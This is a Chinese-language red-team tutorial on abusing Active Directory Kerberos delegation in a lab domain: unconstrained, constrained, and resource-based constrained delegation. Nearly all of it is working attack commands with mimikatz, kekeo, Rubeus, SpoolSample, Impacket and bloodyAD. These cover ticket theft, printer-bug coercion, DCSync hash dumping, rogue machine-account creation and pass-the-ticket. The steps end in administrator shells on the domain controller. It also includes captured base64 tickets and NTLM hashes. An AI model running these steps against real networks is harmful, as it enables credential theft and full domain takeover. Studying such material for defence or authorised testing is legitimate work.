委派是一種域內應用模式,是指將域內用戶賬戶的權限委派給服務賬號,服務賬號因此能以用戶的身份在域內展開活動(請求新的服務等)
簡而言之,非約束委派是指用戶賬戶將自身的TGT轉發給服務賬戶使用。約束委派通過S4U2Self和S4U2Proxy兩個擴展協議限制服務賬戶只能訪問指定服務資源。RBCD主要就是委派的管理移交給服務資源進行控制,其余和約束性委派基本相同。
自Windows2000開始,微軟添加了委派功能。域委派是一種應用模式,指的是將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶的權限在域內展開活動。簡單來介紹就是用戶A訪問服務B,但是訪問過程中需要訪問服務C,于是B就使用A提供的TGT委派訪問C。
非約束性委派(Unconstrained Delegation):服務賬號可以請求得到域內用戶的TGT,服務賬號使用該TGT模擬域內用戶訪問任意服務。被配置為非約束委托的系統將把TGT(Ticket Granting Ticket)存儲到LSASS內存中,以便使用戶能夠訪問終端資源。非約束委派的設置需要SeEnableDelegation權限,一般為管理員具有此權限。
非約束性委派流程圖:
一些注意點:
域名: redteam.lab
域控:
操作系統: Windows Server 2016
主機名: DC2016
IP: 10.10.2.20
域內主機:
操作系統: Windows 10
主機名: WIN10-1
IP: 10.10.2.100
攻擊機:
操作系統: kali Liux
IP: 10.10.2.77
注意: 這里Kali也在內網中,主要是便于技術的展示,在實際情況中需要搭建代理,可以使用frp、chisel等代理工具,再使用proxychains進行代理的連接!
# ADFind查詢非約束委派普通賬戶
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# ADFind查詢非約束機器賬戶
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# PowerView查詢非約束委派的機器賬戶
powershell-import PowerView.ps1
powershell Get-NetComputer –unconstrained | select dnshostname, samaccountname
利用條件:
這里已知mssqlsrv服務賬戶密碼123.com,并且ken設置了非約束性委派
使用kekeo工具進行操作:
# 構造服務賬戶ken的票據
kekeo.exe "tgt::ask /user:mssqlsrv /domain:redteam.lab /password:123.com /ticket:mssqlsrv.kirbi" "exit"
# 利用剛才偽造的ken票據,向域服務器申請CIFS服務票據
kekeo.exe "Tgs::s4u /tgt:TGT_mssqlsrv@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"
# 使用mimikatz將該票據注入當前的會話中,
mimikatz.exe "kerberos::ptt TGS_administrator@redteam.lab@REDTEAM.LAB_mssqlsrv@REDTEAM.LAB.kirbi" "exit"
# 訪問目標共享盤
dir \\DC2016\C$
偏理想化,不實用
當域管理員使用net use等遠程訪問命令,模擬域控管理員訪問WIN7主機,設置了非約束性委派的主機可以抓取到域控管理員的TGT。
利用條件:
假設域控管理員執行:
# 域控用戶訪問域內主機
net use \\WIN10-1.redteam.lab
導出票據,執行攻擊
# 域內主機導出票據
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# 查看票據
mimikatz.exe "kerberos::list"
# 清空票據,可以使用絕對路徑
kerberos::purge [ticket]
# 導入內存
mimikatz.exe "kerberos::ptt [0;cfd6c]-2-0-60a10000-Administrator@krbtgt-REDTEAM.LAB.kirbi" "exit"
# 訪問目標盤
dir \\DC2016.redteam.lab\c$
強迫運行打印服務(Print Spooler)的主機向目標主機發起 Kerberos 或 NTLM 認證請求。
利用條件:
利用過程:
使用Rubeus工具監聽
# 查詢打印服務是否開啟|域控上查看
sc query spooler
# 使用Rubeus監聽來自域控的票據
Rubeus.exe monitor /interval:2 /filteruser:DC2016$
使用SpoolSample工具執行打印機漏洞利用,進行強制驗證
# 強制回連,獲得域控機器賬戶的TGT
SpoolSample.exe DC2016 WIN10-1
Rubeus監聽到票據并導入該票據
# rubeus導入票據
Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtSRURURUFNLkxBQqOCA90wggPZoAMCARKhAwIBAqKCA8sEggPHdOzGGhqNLMiflfgJCrXq6OzfDy1u+wHM8mdH8IpkVEbl+TX5liKAPQ/i4nIewzu9yq8kO9tEZYRhARky6B2Bw4RWD6tx9nytF24Q6AhvpzIfxAK2zJ1fLX5AtH9yyqbVVdd+ryoR8PjUCl09IdyfdmTfMW45olQhHVMG1l2Oz9agg8tUANOFT9HjbxrDJjgCvFMEJ7hJ3s1dsYORZfvXk31J4fn3VRLHj/5N9XpQQ5n8T24p8KGmvfK/SdPDU4im/Jud5syF60l1sMH/UUr4UYaHSAFM3ui1sgaeO45MdPq7hAVVRaBX8WjogadUTeRghh47nH4aAsbAqxmmCNkTKkYSAPdc8fKIAFQNSONpEsBnaCrLo+QoD/x+VIkNHbPYA7Zt3kb/neoH65zP5PTm95pAjmnx7P56/UdwgxkVTd7KHsj4VQ/7BsHx8GfpXKcmev08KSGvMvXM6+zr9XbrnLne6bnabNTUHuqfh6+4qImMlig6RMmeSpJa0hFAzJdhzkZGO9LLL2OZSOME2ngSvffCunaNqdIGEbev8i5kVMhwg4upv9tClWW+h0mEJWeZ332WF2LKI2VEKjQePAbkM3UUmr+1vUXKEcKPEqQ58fQH2+Nr4naONswOTVb1CLdXB7/SdfCcYU26Pgm7vQnl2uNb6LhlpPYAXGoaofUjRV0d3JIR+2oXSt5ia5auCyhU6/nKXPP1KBCiQzjRACSOyeRivxTaxVZExbtLNi932psyMOKCb6qE/JHyhve5Iu/nBp78RcfjoTrNaqUCO/ZxA2AUlUEpcmoU+Vmm+fQEb828EZtKFoyxKPBKtbK/jLsgk8qEoy5JwIEmMIeIP0D95vc+Rzp5A/WSiN0yn9RXqd8On/UBjOW7O42uKhrVJrJ5ClOu+HdHN2WkejBkslnBJYSaL+A69eA5qb+yAJhJqmlSFupfGhQhzm/YNDdcifKU+47R3WF3n9OvSqQgLush9/hkGPgwVLp1Wj6LQHzofIujVRDOybAeNt+lATwzQGVHpeUOWy/iXV/UxTPGT3VBiPpIm1E813QKw8eWTxLm5YeQJrk0Uyj/qalqqo5gskI0fY7Sq60pMA9t1TA6nrdmcQzesKWAcf6QmEmQorTcPw4znaM5QSKAGwRQRGGt57RADimgrs/R2K3Rqa3C/ePlSgaPJN3jS5AGHF9j1/MJE0Eb8ZwPXTI0P77NCDWthqK7wFzcyKkrpNjodMf/KFs96wkVqWBJ0Xy5qza9rFy/r79WZtICfxLfbdF8KGrS5LCCIYKMVhPq56OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIP6GQ/T97TyQDQUyz2ZnOBxcZEcgQ0iexOoMgGUOzdNUoQ0bC1JFRFRFQU0uTEFCohQwEqADAgEBoQswCRsHREMyMDE2JKMHAwUAYKEAAKURGA8yMDIyMDUxODA3NDcxMFqmERgPMjAyMjA1MTgxNzQ3MTBapxEYDzIwMjIwNTI1MDc0NzEwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLUkVEVEVBTS5MQUI=
使用mimikatz導出Hash
# mimikatz導出域內用戶Hash
mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:REDTEAM\Administrator" "exit"
使用wmiexec遠程登錄:
python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.lab/administrator@DC2016.redteam.lab -no-pass
Widnows Server 2003 之后微軟引入了非約束委派。同時,為了順利進行約束性委派,微軟于2007年為 Kerberos 協議的 TGS_REQ 和 TGS_REP 階段引入了兩個擴展協議S4u2self(Service for User to Self)和S4U2proxy(Service for User to Proxy)。
約束委派有兩種
S4U2self協議允許服務代表任意用戶請求訪問自身服務的ST服務票據
S4U2proxy協議允許服務在已取得ST服務票據下代表任意用戶獲取另一個服務的服務票據
約束委派限制了S4U2proxy協議的請求范圍,使得配置了委派屬性的服務只能模擬用戶身份訪問特定的其他服務。
配置了約束性委派的賬戶屬性會有如下兩個變化:
域名: redteam.lab
域控:
操作系統: Windows Server 2016
主機名: DC2016
IP: 10.10.2.20
域內主機:
操作系統: Windows 10
主機名: WIN10-1
IP: 10.10.2.100
攻擊機:
操作系統: kali Liux
IP: 10.10.2.77
注意: 這里Kali也在內網中,主要是便于技術的展示,在實際情況中需要搭建代理,可以收用frp、chisel等攻擊,再使用proxychains進行代理的連接!
# AdFind.exe查詢約束委派機器賬戶
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# AdFind.exe查詢約束委派服務賬戶
AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# 導入
powershell-import PowerView.ps1
# PowerView查詢約束委派機器賬戶
powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
# PowerView查詢約束委派服務賬戶
powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
約束性委派攻擊的關鍵就是獲得可轉發的服務票據ST
獲取根據約束性委派的執行過程可知,只要控制配置約束性委派服務的機器,并獲得了它的密碼,那么我們就可以劫持這臺主機的kerberos請求過程,最終獲得任意用戶權限的ticket
利用條件:
使用mimikatz工具導出lsass.exe進程中所有的票據,得到想要的服務票據
# 導出票據
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
使用kekeo工具申請服務票據(S4U2Proxy協議)
# 申請服務票據
kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"
# 導入票據
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"
# 訪問
dir \\DC2016.redteam.lab\c$
與思路一類似,但是這里使用的是Hash值
利用條件:
使用mimikatz獲取NTLM Hash值
# 使用mimikatz獲取機器賬戶NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
8f91f8786d308e62c609688886dc7c4c
使用Rubeus申請訪問自身的可轉發服務票據
# 使用Rubeus申請配置了約束委派機器賬戶WIN10-1$的TGT
Rubeus.exe asktgt /user:WIN10-1$ /rc4:8f91f8786d308e62c609688886dc7c4c /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap
# 使用Rubeus通過S4U2Self協議代表域管理員Administrator請求針對域控LDAP服務的票據,并注入內存
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC2016.redteam.lab /dc:DC2016.redteam.lab /ptt /ticket:doIE7DCCBOigAwIBBaEDAgEWooIEBDCCBABhggP8MIID+KADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA74wggO6oAMCARKhAwIBAqKCA6wEggOoM8VAe67r80K7kucYIn8+7OGwBh7K0P3+J3PvGUYPVlz2+WFR9jNWhQ8SiK0Qwa0uUaZhH6RxZO0GXrW13YcRxuomfopTCDZCq0J5LlAyr+sYq4C+VDR+1n/W8/hMP4rqsdZqfVK7z8jmUhFbB1TGRu7MKuxexQ0Kmr2ae6sH8RmuFEAJHwjS3LXZqtB6AVf3V04fT5PrLatDiLs8DAVHgD18kJwRsF34qjKsC2jsGWeXZkjNsuQFV31HQN0TtAsMR7vftYHag7jYuzmwAvAvKE8fgtoi8Yf6GcFCvKutA65Tc8oSJDG3nd5LdpAuPRPo/SAJn4ujs9SUTjTXWEXNp69uSrdFZ7hR/8yPiZLw1hPoOm3ZlUTGBuUclxep28tDgaA1alBNsH5iAmza1fGj6FUOUoYvRGpC3B4zqs+o2Bd3dNDaHNFcTCc8O6Dcti1q7bhNnLmQZcTq1rTRI0e0mPvPet+xV/obRc2r1qxzjAq5/BhjFu94B+IaolJXoFVoIvz67nSe/h6459xnUPrgqh2PsnwfeakR4CLqcgAbyEOoQV4MWpOJrDgjoBeZ8lfGTY97vIvA0fAuRdqy5L4JX6b+LQxt5fZdCChfMh+YQl1zQs/UYST6UD9xqRvF7l84YGN0lsQYboMHSoZfj4bE2ii1MmrC/18jI/vwZKBjg5aY8MfpTvsSih/IxeVr9YEAOCCsEFFlq7i/UuWP+hiMaGqldqw2eZHwRmobHaJWLmzgErJXYZcRNz84EuLoDdQTWMWpXV8Glr3c+BwPlFOITpwixL8KDKM8PA0kOFok/ci+zlVY/mf3dA6pXmzDKkT0boTczXsOc7zZx4sc34YysY/sSQvqb2sZAvvW1+v1J4N4t8i+/QN1upuk/npqPwDfUhyi7AeO+fcVpCn4ziaNqfebzdh3F3ZmgdrdViTq6I84QACKwzVHH59rjzN81pLuYqGw49B4g3xWYvo1ZA1lJsGGZFa4JwFw3q1fk6Q3qgTGlO0fn/7VFQjtLmJBe6LwtLkTySQsQvZxAHMc8Euc2jZgLGwyR8ViKRo9BmbhYblChJCOrq/14JP2GTHYgMuVx4iSqEVGjnm9/crfWLgbTaSVJ7UChqGzKquer2RuDqNPpcxMPuj9aHfor5ItRhfdnDyni8IQj5zUv4bEBWoRWwyTGk+8UpeGsMbSpEMjoH7q0tw4xyGkTRD/Bz3CWjW/bLtqcB07W2Et9EKTJQh1lzTGNi4GvNhso4HTMIHQoAMCAQCigcgEgcV9gcIwgb+ggbwwgbkwgbagGzAZoAMCARehEgQQRhdvpI6qSFO1Eo5nYZxvZKENGwtSRURURUFNLkxBQqIVMBOgAwIBAaEMMAobCFdJTjEwLTEkowcDBQBA4QAApREYDzIwMjIwNTE4MDkzNTE1WqYRGA8yMDIyMDUxODE5MzUxNVqnERgPMjAyMjA1MjUwOTM1MTVaqA0bC1JFRFRFQU0uTEFCqSAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYg==# 直接dir
dir \\DC2016.redteam.lab\c$
同思路2一致,也是使用機器賬戶的Hash值,但這里使用Impacket工具套件中的getST.py腳本請求服務票據,并利用該腳本通過wmiexec.py工具遠程登錄
利用條件:
# mimikatz獲取機器賬戶NTLM Hash值
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 使用getST申請服務票據
python3 getST.py -dc-ip 10.10.2.20 -spn CIFS/DC2016.redteam.lab -impersonate administrator redteam.lab/WIN10-1$ -hashes :8f91f8786d308e62c609688886dc7c4c
# 使用票據遠程訪問
KRB5CCNAME=administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20
# 請求票據
kekeo.exe "tgt::ask /user:WIN10-1$ /domain:redteam.lab /NTLM:8f91f8786d308e62c609688886dc7c4c" "exit"
# 申請administrator權限的票據
kekeo.exe "tgs::s4u /tgt:TGT_WIN10-1$@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit"
# mimikatz
mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit"
# 訪問
dir \\DC2016.redteam.lab\c$
微軟在Windows Server 2012 中新引入基于資源的約束性委派(Resource Based Constrained Delegation, RBCD),RBCD不需要通過具備SeEnableDelegationPrivilege權限的域管理員進行修改,而是將設置屬性的權限給了服務資源本身。
配置了RBCD的賬戶屬性有如下變化:
可以將基于資源的約束性委派理解為傳統的約束性委派的反向過程。以 Service 1 和 Service 2 兩個服務為例,傳統的約束性委派需要在 Service 1 上設置 msDS-AllowedToDelegateTo 屬性,以指定對 Service 2 上的哪一個服務進行委派。而在基于資源的約束性委派中,需要在 Service 2 上將 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性值設為 Service 1 的 SID,以允許 Service 1 對 Service 2 上的服務進行委派。
此外,在傳統的約束性委派中,通過 S4u2self 申請到的 ST 票據一定是可轉發的,如果不可轉發,則后續的 S4U2Proxy 階段將失敗。但是在基于資源的約束性委派中,不可轉發的 ST 票據仍然可以通過 S4U2Proxy 階段對其他服務進行委派認證。
那么什么用戶具備修改msDS-AllowedToActOnBehalfOfOtherIdentity屬性的權限呢?
而誰可以創建機器賬戶呢?
對于一般域成員,由msDS-MachineAccountQuota屬性決定,默認可以創建10個機器賬戶。
域名: redteam.lab
域控制器:
操作系統: Windows Server 2016
主機名: DC2016
IP: 10.10.2.20
域內服務器:
操作系統: Windows Server 2012
主機名: SERVER2012
IP: 10.10.2.50
域內主機1:
操作系統: Windows 10
主機名: WIN10-1
IP: 10.10.2.100
域內主機2:
操作系統: Windows 7
主機名: WIN7-1
IP: 10.10.2.101
攻擊機:
操作系統: kali Liux
IP: 10.10.2.77
注意: 這里Kali也在內網中,主要是便于技術的展示,在實際情況中需要搭建代理,可以收用frp、chisel等攻擊,再使用proxychains進行代理的連接!
核心目標:找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用戶
我將這種思路定義為反向查找:已知機器賬戶,找到使其加入域中的用戶賬戶,這個用戶賬戶就具備修改msDS-AllowedToActOnBehalfOfOtherIdentity的權限
# 使用adfind.exe查找機器賬戶的mS-DS-CreatorSID屬性
AdFind.exe -h 10.10.2.20 -u ken -up 123.com -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID
# 使用Powershell反查SID對應的用戶
powerpick $objSID=New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser=$objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value
和上面相反,這里我將其定義為正向查找:已知用戶查找到通過該用戶加入域中的機器,
# 查用戶賬戶SID
whoami /all
# 使用PowerView查經由該用戶加入域內的機器賬戶(主機)
# 需要具備GeneriCall或WriteProperty等修改權限
powershell-import PowerView.ps1
powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights
權限提升 | 橫向移動
關鍵:能修改那臺服務資源的委派屬性,就可以拿下該臺主機
利用條件:
# 使用addcpmputer創建機器賬戶
python3 addcomputer.py redteam.lab/ken:123.com -method LDAPS -computer-name CPT01\$ -computer-pass Passw0rd -dc-ip 10.10.2.20
# 使用bloodyAD工具創建機器賬戶
python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd'
# 使用PowerMad工具創建機器賬戶
使用PowerView工具查詢機器賬戶SID
Get-NetComputer CPT01 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1108
修改服務資源的委派屬性,即msDS-AllowedToActOnBehalfOfOtherIdentity屬性
# 導入powershell Set-ExecutionPolicy Bypass -Scope Process. .\powerview.ps1
powershell-import PowerView.ps1
powerpick $SD=New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1108)";$SDBytes=New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# 查詢屬性(后一條命令使用到了ActiveDirectory模塊,域控默認帶)
powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity
# 域控查詢命令
Get-ADComputer SERVER2012 -Properties PrincipalsAllowedToDelegateToAccount
# 清除屬性
Set-DomainObject SERVER2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
使用getST.py申請票據
# 使用getST.py申請票據
python3 getST.py redteam.lab/CPT01$:Passw0rd -spn cifs/SERVER2012.redteam.lab -impersonate administrator -dc-ip 10.10.2.20
# 導入票據
export KRB5CCNAME=/root/Desktop/administrator.ccache
# 直接登錄
python3 wmiexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass
python3 psexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass
使用Rubeus申請票據
# 通過Rubeus申請機器賬戶CPT01$的TGT
Rubeus.exe asktgt /user:CPT01$ /password:Passw0rd /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap
# 使用S4U2Self協議申請TGS并且使用S4U2Proxy協議請求cifs服務票據ST,注入內存中
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/SERVER2012.redteam.lab /dc:DC2016.redteam.lab /nowrap /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID8jCCA+5hggPqMIID5qADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA6wwggOooAMCARKhAwIBAqKCA5oEggOWx0emir2j0Me0AEZiGIF6iCN9gm6S9/VwFmYy8F9s5+FFyHDmSWjfLJotWqg/BXyB94ueiRrMXRkOYhKxLfUaJ4OJyGLxTv/oHQ9eM5EBe1QG1h5IufgR6T0Z23wknxOQA/JOP32HIoroCn84tHHlWrDx8JVu2bCKqfR3pqmnQCZXfb/3ydfNeqdf3hlF917Py5cMWKtDWBiMUx9HdtGto3d65JDaZTvetV5inE3+Ze+Z+dt/pE7CGtO1CrXjBVKmZTDq6i6oxOlOPcZo30TTIF0DW2jQBH1fZmn4z6o7Wv8uD/SycHV+BXv9Yjv4b0ESAaqZ4zt+zNvcBT0jrGTgrdOmvgKuc3wM0uHvfOOShx+TBrmjYbnrjd1vyTSbq/q4Ugyon+0hsQng5Dxb78QwfukVyTGfKuEqp9ar63kav99xl7EJUyv+TfhJsbYWBRH0ebyVl62eFkDi+cgPFF3isvdNao8Oc6zu+JJzbV3XguPFtmJlBUGYP/IWfxkfRg24tYvo+gaYW3NCuvp/yavpCT9WakKmwhKpXPQlLVZ5dPIuBHfiYY9eCRBD7L5WtXhgRh3ELLhA7UAkB7Q8rB9kle3QIdnHdQMeqBTPvv3k5JC9yybtYOg184w00OR0MCO88697KcvS0mbUN30XRp0CMwKSmKftIPbMvGjflzm5yWypezJ/I7cNwh+NyaFP2WE0kSh0zjR7acFe7NzK6eGMpJCksEuTa1Gp6FpJ1g2g2s3UqWyIyJpT8Rw9x/VMSbInvgfZV649Doh6OjbYPvct3WplSOo+U12Abec+Dog4zg4kLhBQ9zx6I5YGOh1zscS5A9ig0lzt8ZTa+H4vG3UGy7QcDsy624pUZ5GM2vXgyPVmVKBUrLmRFjPqJKd2xW2D5Vve9vF9QD8ZiGjJkjawI1xoo4OyeuRO1QBWWaR2U7zyWnj/NRW0MeCQEvw9ay6MlT5/yLNf6XQG+2z/n1zrLYkOxjH7LhL6qFjPDA9ECzF+bBs09ahifFruIxLC24EjZNCJ42rWZig6MyOppUmSdpDCoBrX0Dtwmw+3rPTCkzlUSpSQ2Axf4EdrA8mFtY370uJLlPgqqiRQPOeM5lxGFfgxeYwwYUab96CTgfo1qRIAHxIYqGZ3Qb0B6EOMzjGLeyvfK5p8Uv9DT1M3kQJnAgi5rlrlt8KmYiYAhgLa/okVKSxUIjfE8rgLucKrRTz1k2NevBR3o4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQ75YaW7Y0HIYQtAyZ4UavYaENGwtSRURURUFNLkxBQqITMBGgAwIBAaEKMAgbBkNQVDAxJKMHAwUAQOEAAKURGA8yMDIyMDUxODE1MDg0MFqmERgPMjAyMjA1MTkwMTA4NDBapxEYDzIwMjIwNTI1MTUwODQwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLcmVkdGVhbS5sYWI=# 訪問
dir \\SERVER2012.redteam.lab\c$
小技巧:Base64加密的票據轉.kirbi文件
[IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("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"))
權限提升 | 橫向移動
在攻擊思路1中,拿到控制加入域的用戶后,可以獲得其下加入的主機。而思路2中的Acount Operators組用戶可以獲得域內除域控的所有主機。
利用條件:
Acount Operators組成員可以修改域內任意主機的msDS-AllowedToActOnBehalfOfOtherIdentity屬性
adfind.exe -h 10.10.2.20:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=redteam,DC=lab member
# 使用bloodyAD.py創建機器賬戶
python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd'
剩下部分基本上和思路1類似,如果使用ken用戶則會報拒絕訪問,使用mark用戶則可以修改委派屬性
# 使用PowerView工具查詢機器賬戶SID
powerpick Get-NetComputer CPT02 -Properties objectsid
S-1-5-21-3309395417-4108617856-2168433834-1112
# 修改服務資源msDS-AllowedToActOnBehalfOfOtherIdentity屬性
powerpick $SD=New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes=New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# 查詢屬性(后一條命令使用到了ActiveDirectory模塊,域控默認帶)
powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity
# 創建服務票據
python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20
# 導入票據
export KRB5CCNAME=/root/Desktop/administrator.ccache
# 直接登錄
